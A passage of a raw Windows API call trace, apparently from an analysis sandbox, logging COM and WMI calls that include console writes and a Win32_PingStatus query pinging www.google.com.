dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0140.618] GetConsoleOutputCP () returned 0x1b5 [0140.618] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0140.618] GetConsoleOutputCP () returned 0x1b5 [0140.619] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0140.619] GetConsoleOutputCP () returned 0x1b5 [0140.654] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0140.654] GetConsoleOutputCP () returned 0x1b5 [0140.654] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0140.654] GetConsoleOutputCP () returned 0x1b5 [0140.654] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0140.654] GetConsoleOutputCP () returned 0x1b5 [0140.655] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x59eeb14, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x59eeb14) returned 0 [0140.655] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x59eebb0 | out: lpConsoleScreenBufferInfo=0x59eebb0) returned 1 [0140.655] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59eeba8 | out: lpMode=0x59eeba8) returned 1 [0140.656] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x248cb00*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x59eeb9c, lpReserved=0x0 | out: lpBuffer=0x248cb00*, lpNumberOfCharsWritten=0x59eeb9c*=0x4f) returned 1 [0140.656] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x59eeba8 | out: lpMode=0x59eeba8) returned 1 [0140.657] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2430324*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x59eeb9c, lpReserved=0x0 | out: lpBuffer=0x2430324*, lpNumberOfCharsWritten=0x59eeb9c*=0x2) returned 1 [0140.657] CoGetContextToken (in: pToken=0x59eedac | out: pToken=0x59eedac) returned 0x0 [0140.657] IEnumWbemClassObject:Clone (in: This=0x4af298, ppEnum=0x59eef64 | out: ppEnum=0x59eef64*=0x4af428) returned 0x0 [0140.721] IUnknown:QueryInterface (in: This=0x4af428, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee20 | out: ppvObject=0x59eee20*=0x4af42c) returned 0x0 [0140.721] IClientSecurity:QueryBlanket (in: This=0x4af42c, pProxy=0x4af428, pAuthnSvc=0x59eee70, pAuthzSvc=0x59eee6c, pServerPrincName=0x59eee64, pAuthnLevel=0x59eee68, pImpLevel=0x59eee58, pAuthInfo=0x59eee5c, pCapabilites=0x59eee60 | out: pAuthnSvc=0x59eee70*=0xa, pAuthzSvc=0x59eee6c*=0x0, pServerPrincName=0x59eee64, pAuthnLevel=0x59eee68*=0x6, pImpLevel=0x59eee58*=0x2, pAuthInfo=0x59eee5c, pCapabilites=0x59eee60*=0x1) returned 0x0 [0140.721] IUnknown:Release (This=0x4af42c) returned 0x1 [0140.721] IUnknown:QueryInterface (in: This=0x4af428, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee14 | out: ppvObject=0x59eee14*=0x535f5c) returned 0x0 [0140.721] IUnknown:QueryInterface (in: This=0x4af428, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee00 | out: ppvObject=0x59eee00*=0x4af42c) returned 0x0 [0140.721] IClientSecurity:SetBlanket (This=0x4af42c, pProxy=0x4af428, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0140.730] IUnknown:Release (This=0x4af42c) returned 0x2 [0140.730] WbemLocator:IUnknown:Release (This=0x535f5c) returned 0x1 [0140.731] CoTaskMemFree (pv=0x507590) [0140.731] IUnknown:AddRef (This=0x4af428) returned 0x2 [0140.731] CoGetContextToken (in: pToken=0x59ee330 | out: pToken=0x59ee330) returned 0x0 [0140.731] CoGetContextToken (in: pToken=0x59ee744 | out: pToken=0x59ee744) returned 0x0 [0140.731] IUnknown:QueryInterface (in: This=0x4af428, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee6dc | out: ppvObject=0x59ee6dc*=0x535f44) returned 0x0 [0140.732] WbemLocator:IRpcOptions:Query (in: This=0x535f44, pPrx=0x4f4c258, dwProperty=2, pdwValue=0x59ee7d0 | out: pdwValue=0x59ee7d0) returned 0x80004002 [0140.732] WbemLocator:IUnknown:Release (This=0x535f44) returned 0x2 [0140.732] CoGetContextToken (in: pToken=0x59eed14 | out: pToken=0x59eed14) returned 0x0 [0140.732] CoGetContextToken (in: pToken=0x59eec74 | out: pToken=0x59eec74) returned 0x0 [0140.732] IUnknown:QueryInterface (in: This=0x4af428, riid=0x59eed44*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59eec10 | out: ppvObject=0x59eec10*=0x4af428) returned 0x0 [0140.732] IUnknown:Release (This=0x4af428) returned 0x2 [0140.732] SysStringLen (param_1=0x0) returned 0x0 [0140.732] IEnumWbemClassObject:Reset (This=0x4af428) returned 0x0 [0140.737] CoTaskMemAlloc (cb=0x4) returned 0x4f5b318 [0140.737] IEnumWbemClassObject:Next (in: This=0x4af428, lTimeout=-1, uCount=0x1, apObjects=0x4f5b318, puReturned=0x248cbe4 | out: apObjects=0x4f5b318*=0x4f45678, puReturned=0x248cbe4*=0x1) returned 0x0 [0140.741] IUnknown:QueryInterface (in: This=0x4f45678, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee5bc | out: ppvObject=0x59ee5bc*=0x4f45678) returned 0x0 [0140.742] IUnknown:QueryInterface (in: This=0x4f45678, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee570 | out: ppvObject=0x59ee570*=0x0) returned 0x80004002 [0140.742] IUnknown:QueryInterface (in: This=0x4f45678, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee398 | out: ppvObject=0x59ee398*=0x0) returned 0x80004002 [0140.742] IUnknown:AddRef (This=0x4f45678) returned 0x3 [0140.742] IUnknown:QueryInterface (in: This=0x4f45678, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edecc | out: ppvObject=0x59edecc*=0x0) returned 0x80004002 [0140.742] IUnknown:QueryInterface (in: This=0x4f45678, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59ede7c | out: ppvObject=0x59ede7c*=0x0) returned 0x80004002 [0140.742] IUnknown:QueryInterface (in: This=0x4f45678, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ede88 | out: ppvObject=0x59ede88*=0x4f4567c) returned 0x0 [0140.742] IMarshal:GetUnmarshalClass (in: This=0x4f4567c, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x59ede90 | out: pCid=0x59ede90*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0140.742] IUnknown:Release (This=0x4f4567c) returned 0x3 [0140.742] CoGetContextToken (in: pToken=0x59edee8 | out: pToken=0x59edee8) returned 0x0 [0140.742] CoGetContextToken (in: pToken=0x59ee2fc | out: pToken=0x59ee2fc) returned 0x0 [0140.742] IUnknown:QueryInterface (in: This=0x4f45678, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee37c | out: ppvObject=0x59ee37c*=0x0) returned 0x80004002 [0140.743] IUnknown:Release (This=0x4f45678) returned 0x2 [0140.743] CoGetContextToken (in: pToken=0x59ee8e4 | out: pToken=0x59ee8e4) returned 0x0 [0140.743] CoGetContextToken (in: pToken=0x59ee844 | out: pToken=0x59ee844) returned 0x0 [0140.743] IUnknown:QueryInterface (in: This=0x4f45678, riid=0x59ee914*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x59ee910 | out: ppvObject=0x59ee910*=0x4f45678) returned 0x0 [0140.743] IUnknown:AddRef (This=0x4f45678) returned 0x4 [0140.743] IUnknown:Release (This=0x4f45678) returned 0x3 [0140.743] IUnknown:Release (This=0x4f45678) returned 0x2 [0140.743] CoTaskMemFree (pv=0x4f5b318) [0140.743] CoGetContextToken (in: pToken=0x59eec54 | out: pToken=0x59eec54) returned 0x0 [0140.743] IUnknown:AddRef (This=0x4f45678) returned 0x3 [0140.744] CoTaskMemAlloc (cb=0x4) returned 0x4f5b318 [0140.744] IEnumWbemClassObject:Next (in: This=0x4af428, lTimeout=-1, uCount=0x1, apObjects=0x4f5b318, puReturned=0x248cbe4 | out: apObjects=0x4f5b318*=0x0, puReturned=0x248cbe4*=0x0) returned 0x1 [0140.748] CoTaskMemFree (pv=0x4f5b318) [0141.800] CoTaskMemAlloc (cb=0x4) returned 0x4f5b318 [0141.800] IEnumWbemClassObject:Next (in: This=0x4af360, lTimeout=-1, uCount=0x1, apObjects=0x4f5b318, puReturned=0x245fb38 | out: apObjects=0x4f5b318*=0x0, puReturned=0x245fb38*=0x0) returned 0x1 [0141.822] CoTaskMemFree (pv=0x4f5b318) [0141.822] CoGetContextToken (in: pToken=0x59eee98 | out: pToken=0x59eee98) returned 0x0 [0141.822] IUnknown:Release (This=0x4af360) returned 0x1 [0141.822] IUnknown:Release (This=0x4af360) returned 0x0 [0141.838] CoGetContextToken (in: pToken=0x59eee98 | out: pToken=0x59eee98) returned 0x0 [0141.838] IUnknown:Release (This=0x4af298) returned 0x1 [0141.839] IUnknown:Release (This=0x4af298) returned 0x0 [0141.848] CoGetContextToken (in: pToken=0x59eec84 | out: pToken=0x59eec84) returned 0x0 [0141.848] CoGetContextToken (in: pToken=0x59eebe4 | out: pToken=0x59eebe4) returned 0x0 [0141.848] CoGetContextToken (in: pToken=0x59eebe4 | out: pToken=0x59eebe4) returned 0x0 [0141.849] CoUnmarshalInterface (in: pStm=0x4f0e1e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59eebd8 | out: ppv=0x59eebd8*=0x5356ec) returned 0x0 [0141.849] CoMarshalInterface (pStm=0x4f0e1e8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x5356ec, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0141.850] WbemLocator:IUnknown:QueryInterface (in: This=0x5356ec, riid=0x59eecb4*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x59eecb0 | out: ppvObject=0x59eecb0*=0x4f44040) returned 0x0 [0141.850] WbemLocator:IUnknown:Release (This=0x5356ec) returned 0x1 [0141.850] IWbemServices:ExecQuery (in: This=0x4f44040, strQueryLanguage="WQL", strQuery="Select * from Win32_PingStatus where ((Address='www.google.com') And TimeToLive=80 And BufferSize=32)", lFlags=131600, pCtx=0x0, ppEnum=0x59eef1c | out: ppEnum=0x59eef1c*=0x4af298) returned 0x0 [0141.873] IUnknown:QueryInterface (in: This=0x4af298, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eece8 | out: ppvObject=0x59eece8*=0x4af29c) returned 0x0 [0141.873] IClientSecurity:QueryBlanket (in: This=0x4af29c, pProxy=0x4af298, pAuthnSvc=0x59eed38, pAuthzSvc=0x59eed34, pServerPrincName=0x59eed2c, pAuthnLevel=0x59eed30, pImpLevel=0x59eed20, pAuthInfo=0x59eed24, pCapabilites=0x59eed28 | out: pAuthnSvc=0x59eed38*=0xa, pAuthzSvc=0x59eed34*=0x0, pServerPrincName=0x59eed2c, pAuthnLevel=0x59eed30*=0x6, pImpLevel=0x59eed20*=0x2, pAuthInfo=0x59eed24, pCapabilites=0x59eed28*=0x1) returned 0x0 [0141.873] IUnknown:Release (This=0x4af29c) returned 0x1 [0141.873] IUnknown:QueryInterface (in: This=0x4af298, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eecdc | out: ppvObject=0x59eecdc*=0x5357dc) returned 0x0 [0141.873] IUnknown:QueryInterface (in: This=0x4af298, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eecc8 | out: ppvObject=0x59eecc8*=0x4af29c) returned 0x0 [0141.873] IClientSecurity:SetBlanket (This=0x4af29c, pProxy=0x4af298, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0141.895] IUnknown:Release (This=0x4af29c) returned 0x2 [0141.895] WbemLocator:IUnknown:Release (This=0x5357dc) returned 0x1 [0141.895] CoTaskMemFree (pv=0x507470) [0141.895] IUnknown:AddRef (This=0x4af298) returned 0x2 [0141.895] CoGetContextToken (in: pToken=0x59ee208 | out: pToken=0x59ee208) returned 0x0 [0141.895] CoGetContextToken (in: pToken=0x59ee61c | out: pToken=0x59ee61c) returned 0x0 [0141.895] IUnknown:QueryInterface (in: This=0x4af298, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee5b4 | out: ppvObject=0x59ee5b4*=0x5357c4) returned 0x0 [0141.896] WbemLocator:IRpcOptions:Query (in: This=0x5357c4, pPrx=0x4f38af0, dwProperty=2, pdwValue=0x59ee6a8 | out: pdwValue=0x59ee6a8) returned 0x80004002 [0141.896] WbemLocator:IUnknown:Release (This=0x5357c4) returned 0x2 [0141.896] CoGetContextToken (in: pToken=0x59eebec | out: pToken=0x59eebec) returned 0x0 [0141.896] CoGetContextToken (in: pToken=0x59eeb4c | out: pToken=0x59eeb4c) returned 0x0 [0141.896] IUnknown:QueryInterface (in: This=0x4af298, riid=0x59eec1c*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59eeae8 | out: ppvObject=0x59eeae8*=0x4af298) returned 0x0 [0141.896] IUnknown:Release (This=0x4af298) returned 0x2 [0141.896] WbemLocator:IUnknown:Release (This=0x4f44040) returned 0x0 [0141.896] SysStringLen (param_1=0x0) returned 0x0 [0141.896] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eef68 | out: puCount=0x59eef68*=0x2) returned 0x0 [0141.896] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef64*=0x0, pszText=0x0 | out: puBuffLength=0x59eef64*=0xf, pszText=0x0) returned 0x0 [0141.896] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eef64*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eef64*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.897] CoGetContextToken (in: pToken=0x59eedbc | out: pToken=0x59eedbc) returned 0x0 [0141.897] IEnumWbemClassObject:Clone (in: This=0x4af298, ppEnum=0x59eef74 | out: ppEnum=0x59eef74*=0x4af360) returned 0x0 [0141.946] IUnknown:QueryInterface (in: This=0x4af360, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee30 | out: ppvObject=0x59eee30*=0x4af364) returned 0x0 [0141.946] IClientSecurity:QueryBlanket (in: This=0x4af364, pProxy=0x4af360, pAuthnSvc=0x59eee80, pAuthzSvc=0x59eee7c, pServerPrincName=0x59eee74, pAuthnLevel=0x59eee78, pImpLevel=0x59eee68, pAuthInfo=0x59eee6c, pCapabilites=0x59eee70 | out: pAuthnSvc=0x59eee80*=0xa, pAuthzSvc=0x59eee7c*=0x0, pServerPrincName=0x59eee74, pAuthnLevel=0x59eee78*=0x6, pImpLevel=0x59eee68*=0x2, pAuthInfo=0x59eee6c, pCapabilites=0x59eee70*=0x1) returned 0x0 [0141.946] IUnknown:Release (This=0x4af364) returned 0x1 [0141.946] IUnknown:QueryInterface (in: This=0x4af360, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee24 | out: ppvObject=0x59eee24*=0x5356ec) returned 0x0 [0141.946] IUnknown:QueryInterface (in: This=0x4af360, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59eee10 | out: ppvObject=0x59eee10*=0x4af364) returned 0x0 [0141.946] IClientSecurity:SetBlanket (This=0x4af364, pProxy=0x4af360, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0141.963] IUnknown:Release (This=0x4af364) returned 0x2 [0141.963] WbemLocator:IUnknown:Release (This=0x5356ec) returned 0x1 [0141.963] CoTaskMemFree (pv=0x507470) [0141.963] IUnknown:AddRef (This=0x4af360) returned 0x2 [0141.964] CoGetContextToken (in: pToken=0x59ee340 | out: pToken=0x59ee340) returned 0x0 [0141.964] CoGetContextToken (in: pToken=0x59ee754 | out: pToken=0x59ee754) returned 0x0 [0141.964] IUnknown:QueryInterface (in: This=0x4af360, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee6ec | out: ppvObject=0x59ee6ec*=0x5356d4) returned 0x0 [0141.998] WbemLocator:IRpcOptions:Query (in: This=0x5356d4, pPrx=0x4f39138, dwProperty=2, pdwValue=0x59ee7e0 | out: pdwValue=0x59ee7e0) returned 0x80004002 [0141.998] WbemLocator:IUnknown:Release (This=0x5356d4) returned 0x2 [0141.998] CoGetContextToken (in: pToken=0x59eed24 | out: pToken=0x59eed24) returned 0x0 [0141.998] CoGetContextToken (in: pToken=0x59eec84 | out: pToken=0x59eec84) returned 0x0 [0141.998] IUnknown:QueryInterface (in: This=0x4af360, riid=0x59eed54*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x59eec20 | out: ppvObject=0x59eec20*=0x4af360) returned 0x0 [0141.998] IUnknown:Release (This=0x4af360) returned 0x2 [0141.998] SysStringLen (param_1=0x0) returned 0x0 [0141.998] IEnumWbemClassObject:Reset (This=0x4af360) returned 0x0 [0142.076] CoTaskMemAlloc (cb=0x4) returned 0x4f5b378 [0142.076] IEnumWbemClassObject:Next (in: This=0x4af360, lTimeout=-1, uCount=0x1, apObjects=0x4f5b378, puReturned=0x248d2ac | out: apObjects=0x4f5b378*=0x4f480a0, puReturned=0x248d2ac*=0x1) returned 0x0 [0142.165] IUnknown:QueryInterface (in: This=0x4f480a0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee5cc | out: ppvObject=0x59ee5cc*=0x4f480a0) returned 0x0 [0142.165] IUnknown:QueryInterface (in: This=0x4f480a0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee580 | out: ppvObject=0x59ee580*=0x0) returned 0x80004002 [0142.165] IUnknown:QueryInterface (in: This=0x4f480a0, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee3a8 | out: ppvObject=0x59ee3a8*=0x0) returned 0x80004002 [0142.165] IUnknown:AddRef (This=0x4f480a0) returned 0x3 [0142.165] IUnknown:QueryInterface (in: This=0x4f480a0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59ededc | out: ppvObject=0x59ededc*=0x0) returned 0x80004002 [0142.165] IUnknown:QueryInterface (in: This=0x4f480a0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59ede8c | out: ppvObject=0x59ede8c*=0x0) returned 0x80004002 [0142.165] IUnknown:QueryInterface (in: This=0x4f480a0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ede98 | out: ppvObject=0x59ede98*=0x4f480a4) returned 0x0 [0142.165] IMarshal:GetUnmarshalClass (in: This=0x4f480a4, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x59edea0 | out: pCid=0x59edea0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0142.165] IUnknown:Release (This=0x4f480a4) returned 0x3 [0142.166] CoGetContextToken (in: pToken=0x59edef8 | out: pToken=0x59edef8) returned 0x0 [0142.166] CoGetContextToken (in: pToken=0x59ee30c | out: pToken=0x59ee30c) returned 0x0 [0142.166] IUnknown:QueryInterface (in: This=0x4f480a0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee38c | out: ppvObject=0x59ee38c*=0x0) returned 0x80004002 [0142.166] IUnknown:Release (This=0x4f480a0) returned 0x2 [0142.166] CoGetContextToken (in: pToken=0x59ee8f4 | out: pToken=0x59ee8f4) returned 0x0 [0142.166] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0142.166] IUnknown:QueryInterface (in: This=0x4f480a0, riid=0x59ee924*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x59ee920 | out: ppvObject=0x59ee920*=0x4f480a0) returned 0x0 [0142.166] IUnknown:AddRef (This=0x4f480a0) returned 0x4 [0142.166] IUnknown:Release (This=0x4f480a0) returned 0x3 [0142.166] IUnknown:Release (This=0x4f480a0) returned 0x2 [0142.166] CoTaskMemFree (pv=0x4f5b378) [0142.166] CoGetContextToken (in: pToken=0x59eec64 | out: pToken=0x59eec64) returned 0x0 [0142.166] IUnknown:AddRef (This=0x4f480a0) returned 0x3 [0142.166] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__GENUS", lFlags=0, pVal=0x59eef64*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59eefe4*=0, plFlavor=0x59eefe0*=0 | out: pVal=0x59eef64*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x59eefe4*=3, plFlavor=0x59eefe0*=64) returned 0x0 [0142.167] IWbemClassObject:Get (in: This=0x4f480a0, wszName="__PATH", lFlags=0, pVal=0x59eef48*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x59eefcc*=0, plFlavor=0x59eefc8*=0 | out: pVal=0x59eef48*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x59eefcc*=8, plFlavor=0x59eefc8*=64) returned 0x0 [0142.167] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0142.167] SysStringByteLen 